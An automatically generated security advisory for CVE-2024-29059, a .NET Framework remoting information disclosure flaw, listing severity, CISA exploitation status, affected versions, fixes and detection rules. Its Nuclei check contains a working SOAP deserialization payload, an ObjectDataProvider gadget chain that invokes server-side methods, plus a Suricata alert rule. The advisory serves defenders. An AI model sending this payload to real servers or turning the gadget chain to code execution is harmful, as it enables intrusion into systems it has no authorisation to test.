CVE-2024-29059: Microsoft .NET Framework exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

.NET Framework Information Disclosure Vulnerability

Description quoted from the CVE record (assigned by microsoft, published 2024-03-22).

Weakness: CWE-209: Generation of Error Message Containing Sensitive Information

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity none, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:U/RL:O/RC:C

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: partial.

On CISA KEV since: 2025-02-04
US federal deadline: 2025-02-25
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2024-02326, CNNVD-202403-2307, EUVD-2024-26106, GHSA-pg2q-wfgh-r323

VEDAS cluster: VEDAS:CELESTIALCUB

Exploit Observer links 6 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (6)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Research or write-up: https://www.rapid7.com/db/vulnerabilities/msft-cve-2024-29059

Vulnerability databases and vendor advisories (8)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://access.redhat.com/security/cve/cve-2024-29059
Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2024-26106
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-pg2q-wfgh-r323
Vulnerability database or vendor advisory: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-29059
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2024-29059
Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-29059
Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202403-2307
Vulnerability database or vendor advisory: https://www.tenable.com/cve/CVE-2024-29059

34 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.986
very likely to be attacked soon
VEDAS: 0.982
strong exploit evidence
On CISA KEV: Yes, since 2025-02-04
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

Product	Affected	Not affected
Microsoft Microsoft .NET Framework 4.8	from 4.8.0 before 4.8.04690.02	Not stated
Microsoft Microsoft .NET Framework 3.5 AND 4.8	from 4.8.0 before 4.8.04690.02	Not stated
Microsoft Microsoft .NET Framework 3.5 AND 4.7.2	from 4.7.0 before 4.7.04081.03	Not stated
Microsoft Microsoft .NET Framework 4.6.2/4.7/4.7.1/4.7.2	from 4.7.0 before 4.7.04081.03	Not stated
Microsoft Microsoft .NET Framework 3.5 AND 4.8.1	from 4.8.1 before 4.8.09214.01	Not stated
Microsoft Microsoft .NET Framework 4.6.2	from 4.7.0 before 4.7.04081.03	Not stated
Microsoft Microsoft .NET Framework 3.5 AND 4.6/4.6.2	from 10.0.0 before 10.0.10240.20402	Not stated
Microsoft Microsoft .NET Framework 2.0 Service Pack 2	from 2.0.0 before 3.0.50727.8976	Not stated
Microsoft Microsoft .NET Framework 3.0 Service Pack 2	from 3.0.0 before 3.0.50727.8976	Not stated
Microsoft Microsoft .NET Framework 3.5	from 3.5.0 before 3.0.50727.8976	Not stated
Microsoft Microsoft .NET Framework 3.5.1	from 3.5.0 before 3.0.30729.8959	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: microsoft .net_framework, microsoft_corp microsoft_.net_framework_2.0_service_pack_2, microsoft_corp microsoft_.net_framework_3.0_service_pack_2, microsoft_corp microsoft_.net_framework_3.5, microsoft_corp microsoft_.net_framework_3.5.1, microsoft_corp microsoft_.net_framework_4.6, microsoft_corp microsoft_.net_framework_4.6.2, microsoft_corp microsoft_.net_framework_4.7, microsoft_corp microsoft_.net_framework_4.7.1, microsoft_corp microsoft_.net_framework_4.7.2.

How to fix it

Fixed versions stated in the CVE record: 4.8.04690.02, 4.7.04081.03, 4.8.09214.01, 10.0.10240.20402, 3.0.50727.8976, 3.0.30729.8959.

CISA required action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

.NET Framework Information Disclosure Vulnerability (vendor-advisory)

How to detect it

Nuclei template (active check)

Dotnet - Information Disclosure
.NET Framework Information Disclosure Vulnerability

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /RemoteApplicationMetadata.rem?wsdl, POST {{objref}}); it decides using dsl, regex matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2024-29059.yaml

Show the template (71 lines)

yaml

id: CVE-2024-29059

info:
  name: "Dotnet - Information Disclosure"
  author: vedas-arpsyndicate
  severity: high
  description: |
    .NET Framework Information Disclosure Vulnerability
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-29059&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=dotnet&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-29059
    cwe-id: CWE-209
  metadata:
    verified: false
  tags: cve,cve2024,dotnet,microsoft,remoting,deserialization,kev,vkev,vuln
http:
  - raw:
      - |
        GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.1
        Host: {{Hostname}}
        __RequestVerb: POST
        Content-Type: text/xml

      - |
        POST {{objref}} HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: ""
        Content-Type: text/xml

        <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35">
        <ForegroundBrush id="ref-3">&#60;ObjectDataProvider MethodName=&#34;AddHeader&#34;
          xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
          xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
          xmlns:System=&#34;clr-namespace:System;assembly=mscorlib&#34;
          xmlns:System.Web=&#34;clr-namespace:System.Web;assembly=System.Web&#34;&#62;&#60;ObjectDataProvider.ObjectInstance&#62;&#60;ObjectDataProvider MethodName=&#34;get_Response&#34;&#62;&#60;ObjectDataProvider.ObjectInstance&#62;
          &#60;ObjectDataProvider ObjectType=&#34;{x:Type System.Web:HttpContext}&#34; MethodName=&#34;get_Current&#34; /&#62;
          &#60;/ObjectDataProvider.ObjectInstance&#62;
          &#60;/ObjectDataProvider&#62;
          &#60;/ObjectDataProvider.ObjectInstance&#62;
          &#60;ObjectDataProvider.MethodParameters&#62;
          &#60;System:String&#62;X-Vuln-Test&#60;/System:String&#62;
          &#60;System:String&#62;{{randstr}}&#60;/System:String&#62;
          &#60;/ObjectDataProvider.MethodParameters&#62;
        &#60;/ObjectDataProvider&#62;</ForegroundBrush>
        </a1:TextFormattingRunProperties>
        </SOAP-ENV:Envelope>

    extractors:
      - type: regex
        name: objref
        part: body_1
        group: 1
        regex:
          - "(/[0-9a-f_]+/[0-9A-Za-z_+]+_[0-9]+\\.rem)"
        internal: true

      - type: dsl
        dsl:
          - x_vuln_test

    matchers:
      - type: dsl
        dsl:
          - "contains(body_1,'ObjRef')"
          - "contains(x_vuln_test,'{{randstr}}')"
        condition: and

CVE-2024-29059.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2024-29059 Dotnet - Information Disclosure. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-29059 Dotnet - Information Disclosure"; flow:established,to_server; http.request_body; content:"http://"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2024-29059; reference:url,https://www.exploit.observer/?keyword=CVE-2024-29059&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=dotnet&match=exact; sid:1009499; rev:1;)

CVE-2024-29059.rules on GitHub

References

Vendor advisories and patches

.NET Framework Information Disclosure Vulnerability (vendor-advisory)

Government sources

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-29059 (government-resource)

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.